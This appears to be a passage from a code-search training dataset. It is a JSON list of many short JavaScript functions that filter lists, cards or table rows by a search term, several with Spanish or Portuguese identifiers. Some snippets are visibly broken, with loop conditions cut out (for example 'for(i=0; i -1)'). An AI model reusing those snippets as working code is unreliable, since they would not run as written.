document.querySelector('.search-input').value;\n const cards = document.querySelectorAll(\".card\");\n for (let index = 0; index < cards.length; index++) {\n const name = cards[index].querySelector(\"#name\").innerHTML;\n if (name.indexOf(searchValue)!=-1) {\n cards[index].style.display = \"\";\n }\n else{\n cards[index].style.display = \"none\";\n }\n \n }\n\n}","function searchEmployees() {\n const searchName = searchBar.value.toLowerCase();\n const cards = document.querySelectorAll(\".card\");\n const names = document.querySelectorAll(\".card-name\");\n\n names.forEach((name, index) => {\n const nameValue = name.textContent.toLowerCase();\n\n if (nameValue.includes(searchName)) {\n cards[index].style.display = \"flex\";\n } else {\n cards[index].style.display = \"none\";\n }\n });\n}","function searchmovie() {\r\n var search,filter,ul,li,a,i,text;\r\n search=document.getElementById(\"inputid\");\r\n filter=search.value.toUpperCase();\r\n ul=document.getElementById(\"ulid\");\r\n li=ul.getElementsByTagName(\"li\");\r\n for(i=0; i -1)\r\n {\r\n li[i].style.display=\"\";\r\n }\r\n else\r\n {\r\n li[i].style.display=\"none\";\r\n }\r\n }\r\n}","function searchCoffeeNames(e) {\n e.preventDefault();\n var userCoffeeName = document.getElementById(\"user-search\").value;\n var filteredNames = [];\n coffees.forEach(function(coffee) {\n\n if(coffee.name.toLowerCase().includes(userCoffeeName.toLowerCase())){\n filteredNames.push(coffee);\n\n }\n });\n divBody.innerHTML = renderCoffees(filteredNames);\n}"],"string":"[\n \"function filtrarProd(){\\nlet filtrado = productos.filter(prod => {\\n \\n return prod.nombre.toLowerCase().includes($(\\\"#txtFiltrar\\\").val().toLowerCase())\\n})\\nlistarProductos(filtrado)\\n$(\\\"#txtFiltrar\\\").val(\\\"\\\")\\n}\",\n \"function filtro() {\\n let selectorSexo = document.getElementById(\\\"selectorSexo\\\");\\n let inputNombre = document.getElementById(\\\"inombre\\\");\\n\\n const sexo = selectorSexo.value;\\n const nombre = inputNombre.value.trim().toLowerCase();\\n\\n console.trace(`filtro sexo=${sexo} nombre=${nombre}`);\\n console.debug(\\\"personas %o\\\", personas);\\n\\n //creamos una copia para no modificar el original\\n let personasFiltradas = personas.map((el) => el);\\n\\n //filtrar por sexo, si es 't' todos no hace falta filtrar\\n if (sexo == \\\"h\\\" || sexo == \\\"m\\\") {\\n personasFiltradas = personasFiltradas.filter((el) => el.sexo == sexo);\\n console.debug(\\\"filtrado por sexo %o\\\", personasFiltradas);\\n }\\n\\n //filtrar por nombre buscado\\n if (nombre != \\\" \\\") {\\n personasFiltradas = personasFiltradas.filter((el) =>\\n el.nombre.toLowerCase().includes(nombre)\\n );\\n console.debug(\\\"filtrado por nombre %o\\\", personasFiltradas);\\n }\\n\\n maquetarLista(personasFiltradas);\\n}\",\n \"function filtrar(value) {\\n $(\\\".items\\\").filter(function () {\\n $(this).toggle($(this).text().toLowerCase().indexOf(value) > -1);//SI ES DIFERENTE A -1 ES QUE ENCONTRO\\n });\\n}\",\n \"function filterNames() {\\n //3.1. get value of filterInput and convert it to upper case for comparision\\n let filterValue = filterInput.value.toUpperCase();\\n\\n //3.2. get ul containing all the names\\n let nameList = document.querySelector('.list');\\n\\n //3.3. get all the names from the nameList in a array\\n let namesArray = Array.from(nameList.querySelectorAll('.list__item'));\\n\\n //3.4. loop through namesArray to compare filterValue with the names in the namesArray\\n for (let i = 0; i < namesArray.length; i++){\\n //3.4.1. get currentname\\n let currentname = namesArray[i].innerText.toUpperCase();\\n //3.4.2 compare both the names\\n if(currentname.indexOf(filterValue) > -1){\\n //if matched do nothing\\n namesArray[i].style.display ='';\\n }else{\\n //else display none\\n namesArray[i].style.display ='none';\\n }\\n }\\n}\",\n \"function filtre_texte(txt) {\\r\\n tabObj = tabObjInit.filter(function (elm) {\\r\\n var pattern = new RegExp(\\\"(\\\" + txt + \\\")\\\", 'ig');\\r\\n if ( elm.Nom.match(pattern) ) {\\r\\n return true;\\r\\n } else {\\r\\n return false\\r\\n }\\r\\n });\\r\\n ecrit_liste(tabObj);\\r\\n}\",\n \"async function filtrarNomes(){\\n let valorInput = filterInput.value.charAt(0).toUpperCase() + filterInput.value.toLowerCase().substring(1);\\n let nomes = buscarDadosNoJSON();\\n \\n nomes.then((nomeDoJSON) => {\\n let resultados = nomeDoJSON.filter(nome => {\\n let regex = new RegExp(`${valorInput}`, 'gi');\\n return nome.name.match(regex);\\n });\\n\\n if(resultados.length > 0)\\n mostrarResultados(resultados)\\n });\\n }\",\n \"filtrarSugerencias(resultado, busqueda){\\n \\n //filtrar con .filter\\n const filtro = resultado.filter(filtro => filtro.calle.indexOf(busqueda) !== -1);\\n console.log(filtro);\\n \\n //mostrar los pines\\n this.mostrarPines(filtro);\\n }\",\n \"function filterNames() {\\r\\n //Search value, list items, pokemon names\\r\\n const filterValue = searchResult.value.toLowerCase(); //Gets search value\\r\\n const pokemonListLi = pokemonList.querySelectorAll('li'); //Gets list items\\r\\n const pokemonListNames = pokemonList.querySelectorAll('.pokemon-name'); //Gets pokemon names\\r\\n\\r\\n for (let i = 0; i < pokemonListNames.length; i++) {\\r\\n /*if at least one value of search appears in name, list item stays\\r\\n if value of search never occurs, list item is hidden*/\\r\\n if (pokemonListNames[i].textContent.toLowerCase().indexOf(filterValue) > -1) {\\r\\n pokemonListLi[i].style.display = '';\\r\\n } else {\\r\\n pokemonListLi[i].style.display = 'none';\\r\\n }\\r\\n }\\r\\n}\",\n \"function filterItem (){\\n let filter = valorfilter();\\n estructuraFilter = \\\"\\\";\\n if (filter == \\\"Prime\\\"){\\n for (propiedad of carrito) {\\n if (propiedad.premium) imprimirItemFilter(propiedad);\\n }\\n noItenCarrito();\\n } else if (filter == \\\"Todos\\\") {\\n estructuraPrincipalCarrito();\\n } \\n}\",\n \"function filterByName (data) {\\n const arrCard = document.querySelectorAll('.card');\\n const searchInput = document.querySelector('.search-input');\\n const arrName = [...document.querySelectorAll('#name')];\\n searchInput.addEventListener('input', elInput => {\\n const gallery = document.querySelector('#gallery');\\n let dataArr = [];\\n gallery.innerHTML = '';\\n data.map(card => {\\n let name = card.name.first + card.name.last;\\n if(name.match(elInput.target.value)) {\\n createCardsNew (card);\\n dataArr.push(card);\\n }\\n });\\n byClickCreateModal (dataArr);\\n });\\n}\",\n \"function filterNames(event) {\\n let searchString = event.target.value.toLowerCase()\\n\\n $lis.forEach((li) => {\\n if (li.querySelector('a').innerText.toLowerCase().includes(searchString)) {\\n li.style.display = ''\\n }\\n else {\\n li.style.display = 'none'\\n }\\n })\\n}\",\n \"function filterBySearchTerm(){\\n let inputName = document.querySelector('#input-pokemon-name').value;\\n let pokemonNames = arrayOfPokemon.filter(pokemon => pokemon.name.startsWith(inputName));\\n\\n let inputType = document.querySelector('#input-pokemon-type').value;\\n let pokemonTypes = arrayOfPokemon.filter(pokemon => pokemon.primary_type.startsWith(inputType));\\n\\n if (inputName !== \\\"\\\"){\\n document.querySelector('#pokemon-list').innerText = '';\\n displayList(pokemonNames);\\n } else if (inputType !== \\\"\\\"){\\n document.querySelector('#pokemon-list').innerText = '';\\n displayList(pokemonTypes);\\n } else if (inputName == \\\"\\\" && inputType == \\\"\\\"){\\n let pokemonList = document.querySelector('#pokemon-list');\\n pokemonList.innerHTML = \\\"\\\";\\n displayList(arrayOfPokemon);\\n };\\n}\",\n \"function filterMovies(titlename) {\\r\\n const filteredMovies = movies.filter(word => word.Title.includes(titlename));\\r\\n addMoviesToDom(filteredMovies);\\r\\n}\",\n \"function filtros1(){\\n\\t\\n\\t\\n\\tvar recibe=$(this).val();\\n\\tvar detector=$(this).attr('name');\\t\\n\\t\\n\\t$('#empleados tr').show();\\n\\t\\n\\tif(recibe.length>0 && detector=='cedula'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#empleados tr td.cedula\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t\\t\\n\\t}\\n\\tif(recibe.length>0 && detector=='nombre'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#empleados tr td.nombre\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='costo'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#empleados tr td.costo\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='cargo'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#empleados tr td.cargo\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\t\\n\\t\\n\\treturn false;\\n}\",\n \"function filterBy(filter) {\\n JsontoHTML()\\n for (let i = 0; i < all_html.length; i++) {\\n let c = databaseObj[i];\\n let genre = (JSON.parse(c[\\\"genres\\\"]))\\n for (let a = 0; a < genre.length; a++) {\\n if (genre[a][\\\"name\\\"] === filter) {\\n $(\\\".items\\\").append([all_html[i]].map(movie_item_template).join(\\\"\\\"));\\n }\\n }\\n }\\n storage()\\n }\",\n \"function filterByName(name){\\n document.querySelectorAll('.card').forEach(el => {\\n if(el.querySelector('h3').innerText.toLowerCase().indexOf(name.toLowerCase()) > -1){\\n el.classList.remove('hidden')\\n }else{\\n el.classList.add('hidden')\\n }\\n })\\n }\",\n \"function ObtenerResultadosFiltrados(){\\n var comparar=[];\\n $(selector+' .campoFiltrado input.campoBlancoTextoSeleccion').each(function(i,campo){\\n if(ValidarCadena($(campo).val())){\\n comparar.push(\\n $(campo).attr('identificador')\\n );\\n }\\n });\\n return descargasGenerales.filter(function(elemento){\\n if(comparar.length==0){\\n return true;\\n }\\n for(let i=0;i {\\n if (item.textContent.toUpperCase().indexOf(filterValue) > -1) {\\n item.parentElement.style.display = \\\"\\\";\\n } else {\\n item.parentElement.style.display = \\\"none\\\";\\n }\\n });\\n}\",\n \"function filtresPers(searchFilter) {\\n\\t\\treturn listPers.filter(p => p.nom.includes(searchFilter)||p.prenom.includes(searchFilter)||p.nomBiblio.includes(searchFilter)||p.titre.includes(searchFilter));\\n\\t}\",\n \"function filterNames() {\\n // Get the input value\\n\\n let filterValue = document.getElementById('filterInput').value.toUpperCase();\\n\\n // Get the ul\\n\\n let ul = document.getElementById('names');\\n\\n // Get the lis from ul , an array would also be created from this\\n let li = ul.querySelectorAll('li.collection-item');\\n\\n // Loop through \\n\\nfor( let i=0; i < li.length; i++) {\\n let a = li[i].getElementsByTagName('a')[0];\\n if(a.innerHTML.toUpperCase().indexOf(filterValue) > -1) {\\n li[i].style.display = '';\\n } else {\\n li[i].style.display = 'none'\\n }\\n}\\n}\",\n \"function filterAndSearch(films, searched, filtered, num) {\\n\\titems.innerHTML = \\\"\\\";\\n\\tvar arrayOne = [];\\n\\tvar arrayTwo = [];\\n\\tvar filmRating;\\n\\tfor (var i=0; iMath.round(slider.noUiSlider.get()[0])&&filmRatingGenre: \\\" + films[i].genre + defLa[4] + films[i].rating + defLa[5];\\n\\t\\t}\\n\\t}\\n\\tif (items.innerHTML == \\\"\\\") {\\n\\t\\titems.innerHTML = \\\"No Results Found\\\";\\n\\t}\\n}\",\n \"function searchConcepto() {\\n\\tvar input, i, filter, li, ul, txtValue;\\n\\tinput = document.getElementById('buscarConcepto');\\n\\tfilter = input.value.toUpperCase();\\n\\t//collection-item getElementsByClassName('prueba') ;\\n\\tlet array_aux = document.getElementById('listadoconceptos').getElementsByTagName('A');\\n\\t//console.log(array_aux);\\n\\tfor (i = 0; i < array_aux.length; i++) {\\n\\t\\ta = array_aux[i].getAttribute('concepto');\\n\\t\\ttxtValue = a;\\n\\t\\tif (txtValue.toUpperCase().indexOf(filter) > -1) {\\n\\t\\t\\tarray_aux[i].parentElement.style.display = '';\\n\\t\\t} else {\\n\\t\\t\\tarray_aux[i].parentElement.style.display = 'none';\\n\\t\\t}\\n\\t}\\n}\",\n \"function searchData(){\\n var dd = dList\\n var q = document.getElementById('filter').value;\\n var data = dd.filter(function (thisData) {\\n return thisData.name.toLowerCase().includes(q) ||\\n thisData.rotation_period.includes(q) ||\\n thisData.orbital_period.includes(q) || \\n thisData.diameter.includes(q) || \\n thisData.climate.includes(q) ||\\n thisData.gravity.includes(q) || \\n thisData.terrain.includes(q) || \\n thisData.surface_water.includes (q) ||\\n thisData.population.includes(q)\\n });\\n showData(data); // mengirim data ke function showData\\n}\",\n \"function filtro(tmpIdDecada, filtro) {\\n\\n // Violencias\\n $(\\\"#\\\" + tmpIdDecada + \\\" .flt\\\").show();\\n\\n for (var tmpObra in arrayDecadas) {\\n // todo get\\n if (filtro === \\\"filtro_1\\\") {\\n }\\n if (getIDByCollection(tmpIdDecada) == arrayDecadas[tmpObra][\\\"collection_name\\\"]\\n && arrayDecadas[tmpObra][\\\"violencias\\\"] == filtro) {\\n $(\\\"#i-\\\" + decadas[\\\"ID\\\"]).addClass(\\\"flt\\\").hide();\\n }\\n }\\n\\n}\",\n \"function filterEmployee() {\\n // Declare variables\\n const input = document.querySelector('input');\\n const filter = input.value.toUpperCase();\\n let name = document.querySelectorAll('.name');\\n const heading4 = document.querySelectorAll('h4')\\n const card = document.querySelectorAll('.card');\\n const btn = document.querySelector('button');\\n\\n\\n // Loop through all employees name, and hide those who don't match the search query\\n for (let i = 0; i < card.length; i++) {\\n if (name[i].textContent.toUpperCase().includes(filter)) {\\n showModalFunc(card[i]);\\n } else {\\n removeModalFunc(card[i]);\\n }\\n const clearFilter = (e) => {\\n e.preventDefault();\\n input.value = '';\\n }\\n }\\n }\",\n \"function filterByNameOrAdress(classNameOf) {\\n const drinkNames = document.querySelectorAll(classNameOf);\\n\\n for (let index = 0; index < drinkNames.length; index++) {\\n if (\\n drinkNames[index].innerHTML\\n .toLowerCase()\\n .includes(searchTxt.value.toLowerCase())\\n ) {\\n drinkNames[index].style.display = \\\"block\\\";\\n } else {\\n drinkNames[index].style.display = \\\"none\\\";\\n }\\n }\\n }\",\n \"function mostrarResultados(nomesFiltrados){\\n ul.innerHTML = [];\\n letters.forEach(letra =>{\\n let li = document.createElement('li');\\n let h5 = document.createElement('h5');\\n \\n ul.append(li);\\n li.classList.add('collection-header');\\n li.append(h5);\\n h5.innerHTML = `${letra}`;\\n \\n nomesFiltrados.forEach((nomeFiltrado) => {\\n if(letra === nomeFiltrado.letter){\\n let liItem = document.createElement('li');\\n let aItem = document.createElement('a');\\n ul.append(liItem);\\n liItem.classList.add('collection-item');\\n liItem.append(aItem);\\n aItem.href = '#';\\n aItem.innerHTML = `${nomeFiltrado.name}`;\\n }\\n });\\n });\\n}\",\n \"function filtrar(){\\n $(\\\"#grillaProductos>div\\\").hide();\\n let arrayTemp=[];\\n for (let i=0; i<$(\\\".checkbox\\\").length; i++ ){\\n if($(\\\".checkbox\\\")[i].checked){\\n switch (i){\\n case 0:\\n arrayTemp= arrayTemp.concat(arrayProductos.filter(el=>el.nombre.split(/(?=[A-Z])/)[0]==\\\"shampoo\\\"));\\n break;\\n case 1:\\n arrayTemp= arrayTemp.concat(arrayProductos.filter(el=>el.nombre.split(/(?=[A-Z])/)[0]==\\\"acondicionador\\\"));\\n break;\\n case 2:\\n arrayTemp= arrayTemp.concat(arrayProductos.filter(el=>el.nombre.split(/(?=[A-Z])/)[0]==\\\"combo\\\"));\\n break;\\n }\\n }\\n }\\n \\n if (arrayTemp.length === 0){\\n $(\\\"#grillaProductos>div\\\").show();\\n }else{\\n arrayTemp.forEach(element => {\\n $(`#${element.nombre}CardgrillaProductos`).show(); \\n });\\n }\\n }\",\n \"function filtrar() {\\n var input, filter, table, tr, td, i;\\n input = $('#filtrar');\\n filter = input.val().toUpperCase();\\n table = $('#tabela');\\n tr = $('tr');\\n for (i = 0; i < tr.length; i++) {\\n td = tr[i].getElementsByTagName('td')[0];\\n if (td) {\\n if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {\\n tr[i].style.display = '';\\n } else {\\n tr[i].style.display = 'none';\\n }\\n }\\n }\\n}\",\n \"function filterAccion() {\\n let texto = \\\"Accion\\\";\\n Mangas = JSON.parse(localStorage.getItem(\\\"biblioteca\\\"));\\n\\n Mangas = Mangas.filter(function (manga) {\\n return manga.categoria.indexOf(texto) > -1;\\n });\\n contarRegistro(Mangas)\\n cargarManga4(Mangas);\\n \\n}\",\n \"function filterEmployeesByName() {\\n const $cards = $(\\\".card\\\");\\n let $matched = 0;\\n let $filterInput = $(\\\"#filter\\\").val();\\n\\n if ($filterInput !== \\\"\\\") {\\n $(\\\".card\\\").each(function () {\\n let n = $(this).children(\\\".info\\\").children(\\\".name\\\").text();\\n let u = $(this).children(\\\".info\\\").children(\\\".username\\\").text();\\n if (n.indexOf($filterInput) < 0 && u.indexOf($filterInput) < 0) {\\n $(this).hide();\\n } else {\\n $matched += 1;\\n $(this).show();\\n }\\n if ($matched === 0) {\\n $('.main-footer span').text(\\\"No matched face...\\\");\\n } else {\\n $('.main-footer span').text(\\\"So many beautiful faces ...\\\");\\n }\\n });\\n } else {\\n //show all employees if input field is blank.\\n $(\\\".card\\\").show();\\n }\\n}\",\n \"function comprobarNombre(pokemon) {\\n\\n var valueFiltro = filtroInput.value.toLowerCase();\\n\\n var nombre = pokemon.name;\\n\\n contador = 0;\\n\\n return nombre.includes(valueFiltro);\\n\\n}\",\n \"function filterBiblio() {\\n let texto = document.querySelector(\\\"#textBuscar\\\");\\n Mangas = JSON.parse(localStorage.getItem(\\\"biblioteca\\\"));\\n\\n Mangas = Mangas.filter(function (manga) {\\n return manga.titulo.indexOf(texto.value.charAt(0).toUpperCase() + texto.value.toLowerCase().slice(1)) > -1;\\n });\\n texto.value=\\\"\\\"\\n texto.focus()\\n contarRegistro(Mangas)\\n cargarManga4(Mangas);\\n}\",\n \"function filter() {\\n let preFilter = [];\\n let gender = selectG.value;\\n let stat = selectS.value;\\n let filteredChar = [];\\n\\n if (gender != \\\"Gender\\\") {\\n filteredChar.push(\\\"gender\\\");\\n if (filteredChar.length == 1) {\\n limpiartodo();\\n preFilter = filterGender(preFilter, gender, true);\\n print(preFilter);\\n }\\n else {\\n limpiartodo();\\n preFilter = filterGender(preFilter, gender, false);\\n print(preFilter);\\n }\\n }\\n\\n if (stat != \\\"Status\\\") {\\n filteredChar.push(\\\"status\\\");\\n if (filteredChar.length == 1) {\\n limpiartodo();\\n preFilter = filterStatus(preFilter, stat, true);\\n print(preFilter);\\n }\\n else {\\n limpiartodo();\\n preFilter = filterStatus(preFilter, stat, false);\\n print(preFilter);\\n }\\n }\\n }\",\n \"function filtros(){\\n\\n\\tvar recibe=$(this).val();\\n\\tvar detector=$(this).attr('name');\\t\\n\\t\\n\\t$('#supernumerario tr').show();\\n\\t\\n\\tif(recibe.length>0 && detector=='cedula'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#supernumerario tr td.cedula\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t\\t\\n\\t}\\n\\tif(recibe.length>0 && detector=='nombre'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#supernumerario tr td.nombre\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='costo'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#supernumerario tr td.costo\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='cargo'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#supernumerario tr td.cargo\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\t\\n\\tif(recibe.length>0 && detector=='estado'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#supernumerario tr td.estado\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\treturn false;\\n}\",\n \"function search() {\\n let input, filter, elements, a, txtValue;\\n input = document.getElementById('search-bar');\\n filter = input.value.toUpperCase();\\n elements = document.getElementsByClassName('pokebox');\\n \\n for (let i = 0; i < elements.length; i++) {\\n a = elements[i].getElementsByClassName('name')[0];\\n txtValue = a.textContent || a.innerText;\\n\\n if (txtValue.toUpperCase().indexOf(filter) > -1) {\\n elements[i].style.display = \\\"\\\";\\n } else {\\n elements[i].style.display = \\\"none\\\";\\n }\\n }\\n}\",\n \"resultadoDePesquisa(){\\n \\n var input, filter, ul, li, a, i;\\n\\n var entrei = \\\"nao\\\";\\n \\n input = document.getElementById('buscaPrincipal');\\n filter = input.value.toUpperCase();\\n ul = $(\\\".area-pesquisa-principal\\\");\\n\\n li = $(\\\".area-pesquisa-principal .caixa-branca\\\");\\n\\n for (i = 0; i < li.length; i++) {\\n a = li[i];\\n if (a.innerHTML.toUpperCase().indexOf(filter) > -1) {\\n li[i].style.display = \\\"\\\";\\n entrei = \\\"sim\\\";\\n } else {\\n li[i].style.display = \\\"none\\\";\\n }\\n }\\n \\n }\",\n \"function loadFilteredFilmList(value) {\\n axios.get('https://data.sfgov.org/resource/wwmu-gmzc.json').then(res => {\\n var regex = new RegExp(value, \\\"gi\\\");\\n var searchValue = res.data.filter(film => {\\n return film.title.match(regex);\\n });\\n renderFilmList(searchValue);\\n }).catch();\\n}\",\n \"function filtroUsuarios() {\\r\\n var input, filter, table, tr, td, td2, td3, i;\\r\\n input = document.getElementById(\\\"search\\\");\\r\\n filter = input.value.toUpperCase();\\r\\n table = document.getElementById(\\\"table\\\");\\r\\n tr = table.getElementsByTagName(\\\"tr\\\");\\r\\n for (i = 0; i < tr.length; i++) {\\r\\n td = tr[i].getElementsByTagName(\\\"td\\\")[0]; //ID\\r\\n td2 = tr[i].getElementsByTagName(\\\"td\\\")[1]; //Nome\\r\\n td3 = tr[i].getElementsByTagName(\\\"td\\\")[2]; //Permissões\\r\\n if (td || td2 || td3) {\\r\\n if (td.innerHTML.toUpperCase().indexOf(filter) > -1 || td2.innerHTML.toUpperCase().indexOf(filter) > -1 || td3.innerHTML.toUpperCase().indexOf(filter) > -1) {\\r\\n tr[i].style.display = \\\"\\\";\\r\\n } else {\\r\\n tr[i].style.display = \\\"none\\\";\\r\\n }\\r\\n }\\r\\n }\\r\\n}\",\n \"function filter2Dos() {\\n var filterInput = $(this).val().toLowerCase();\\n $('.text-wrapper').each(function () {\\n var cardText = $(this).text().toLowerCase();\\n if (cardText.indexOf(filterInput) != -1) {\\n $(this).parent().show();\\n } else {\\n $(this).parent().hide();\\n }\\n });\\n}\",\n \"function nameFilter(element, index, array) {\\n var $item = $(\\\"#\\\" + element);\\n\\n if (visible.filterOn.length > 0 && visible.items[element].name.toLowerCase().indexOf(visible.filterOn.toLowerCase()) === -1) {\\n return false;\\n }\\n return true;\\n }\",\n \"function filterItems(e){\\n\\t//convert text to lowercase\\n\\tvar text = e.target.value.toLowerCase();\\n\\t//get li's\\n\\tvar items = itemList.getElementsByTagName('li');\\n\\t//Convert HTML collection to an array\\n\\tArray.from(items).forEach(function(item){\\n\\t\\tvar itemName = item.firstChild.textContent;\\n\\t\\t// console.log(itemName); //check if we get the item names\\n\\t\\tif(itemName.toLowerCase().indexOf(text) != -1){//check if the search is equal to the item(matching) -1 if not match\\n\\t\\t\\titem.style.display = 'block'; //shows the search item(s)\\n\\t\\t} else{\\n\\t\\t\\titem.style.display = 'none'; //if not match, remove display\\n\\t\\t}\\n\\n\\t});\\n}\",\n \"function searchNameText(e) {\\n\\tcardsList.innerHTML = ''; // clear the container for the new filtered cards\\n\\tbtnLoadMore.style.display = 'none';\\n\\tlet keyword = e.target.value;\\n\\tlet arrByName = dataArr.filter(\\n\\t\\t(card) => { \\n\\t\\t\\treturn( \\n\\t\\t\\t\\tcard.name.toLowerCase().indexOf(keyword.toLowerCase()) > -1 ||\\n\\t\\t\\t\\tcard.artist.toLowerCase().indexOf(keyword.toLowerCase()) > -1 ||\\n\\t\\t\\t\\tcard.setName.toLowerCase().indexOf(keyword.toLowerCase()) > -1 \\n\\t\\t\\t\\t)\\n\\t\\t}\\t\\n\\t);\\n\\trenderCardList(arrByName);\\n\\tconsole.log(arrByName);\\n}\",\n \"function finder() {\\n filter = keyword.value.toUpperCase();\\n var li = box_search.getElementsByTagName(\\\"li\\\");\\n // Recorriendo elementos a filtrar mediante los li\\n for (i = 0; i < li.length; i++) {\\n var a = li[i].getElementsByTagName(\\\"a\\\")[0];\\n textValue = a.textContent || a.innerText;\\n\\n // QUIERO QUE ME APAREZCAN LAS OPCIONES SI TEXTVALUE.STARTSWITH = FILTER \\n\\n if (textValue.toUpperCase().indexOf(filter) > -1) {\\n li[i].style.display = \\\"flex\\\";\\n box_search.style.display = \\\"flex\\\";\\n if (keyword.value === \\\"\\\") {\\n box_search.style.display = \\\"none\\\";\\n }\\n }\\n else {\\n li[i].style.display = \\\"none\\\";\\n }\\n\\n }\\n\\n}\",\n \"function filter(word) {\\n let length = items.length\\n let collection = []\\n let hidden = 0\\n for (let i = 0; i < length; i++) {\\n if (items[i].value.toLowerCase().startsWith(word)) {\\n $(items[i]).show()\\n }\\n else {\\n $(items[i]).hide()\\n hidden++\\n }\\n }\\n\\n //If all items are hidden, show the empty view\\n if (hidden === length) {\\n $('#empty').show()\\n }\\n else {\\n $('#empty').hide()\\n }\\n}\",\n \"function filter(word) {\\n let length = items.length\\n let collection = []\\n let hidden = 0\\n for (let i = 0; i < length; i++) {\\n if (items[i].value.toLowerCase().startsWith(word)) {\\n $(items[i]).show()\\n }\\n else {\\n $(items[i]).hide()\\n hidden++\\n }\\n }\\n\\n //If all items are hidden, show the empty view\\n if (hidden === length) {\\n $('#empty').show()\\n }\\n else {\\n $('#empty').hide()\\n }\\n}\",\n \"function filtros2(){\\n\\t\\n\\t\\n\\tvar recibe=$(this).val();\\n\\tvar detector=$(this).attr('name');\\t\\n\\t\\n\\t$('#externos tr').show();\\n\\t\\n\\tif(recibe.length>0 && detector=='cedula'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#externos tr td.cedula\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t\\t\\n\\t}\\n\\tif(recibe.length>0 && detector=='nombre'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#externos tr td.nombre\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='costo'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#externos tr td.costo\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='cargo'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#externos tr td.cargo\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\t\\n\\t\\n\\treturn false;\\n}\",\n \"function filterByName(element)\\r\\n{\\r\\n _upObject.filterByName(element.value, \\\"name\\\");\\r\\n}\",\n \"function filtro(categoria) {\\n setCat(categoria)\\n }\",\n \"function filterByName(searchForName, personList) {\\n searchForName = searchForName.toLowerCase();\\n return personList.filter((person) => {\\n console.log(person)\\n // Only needs to check if letters typed so far are included in name, not equal to name. \\n return person.name.toLowerCase().includes(searchForName);\\n });\\n}\",\n \"function filterData(tex) {\\n const tempRests = rests.filter((itm) => itm.name.toLowerCase().includes(tex.toLowerCase()));\\n setFilteredRests(tempRests);\\n }\",\n \"_filter(value) {\\n //convert text to lower case\\n const filterValue = value.toLowerCase();\\n //get matching products\\n return this.products.filter(option => option.toLowerCase().includes(filterValue));\\n }\",\n \"function filterName(){\\n\\t// Set filters to localstorage\\n\\tvar formName = $(\\\"#searchTitle\\\").val();\\n\\tif(formName == \\\"\\\"){\\n\\t\\tfilterResults();\\n\\t}\\n\\telse{\\n\\t\\tsearchResults(formName, \\\"600\\\", \\\"2800\\\");\\n\\t}\\n}\",\n \"function nameFilterEvent() {\\n var input, filter, ul, li, a, i, txtValue;\\n input = document.getElementById(\\\"filterInputName\\\");\\n filter = input.value.toUpperCase();\\n\\n ul = document.getElementsByClassName(\\\"eventListTable\\\");\\n li = ul[0].getElementsByTagName(\\\"li\\\");\\n \\n for (i = 0; i < li.length; i++) {\\n a = li[i].getElementsByTagName(\\\"h1\\\")[0];\\n txtValue = a.textContent || a.innerText;\\n if (txtValue.toUpperCase().indexOf(filter) > -1) {\\n li[i].style.display = \\\"\\\";\\n } else {\\n li[i].style.display = \\\"none\\\";\\n }\\n }\\n}\",\n \"function filtroProdutos() {\\r\\n var input, filter, table, tr, td, td2, td3, i;\\r\\n input = document.getElementById(\\\"search\\\");\\r\\n filter = input.value.toUpperCase();\\r\\n table = document.getElementById(\\\"table\\\");\\r\\n tr = table.getElementsByTagName(\\\"tr\\\");\\r\\n for (i = 0; i < tr.length; i++) {\\r\\n td = tr[i].getElementsByTagName(\\\"td\\\")[0]; //ID\\r\\n td2 = 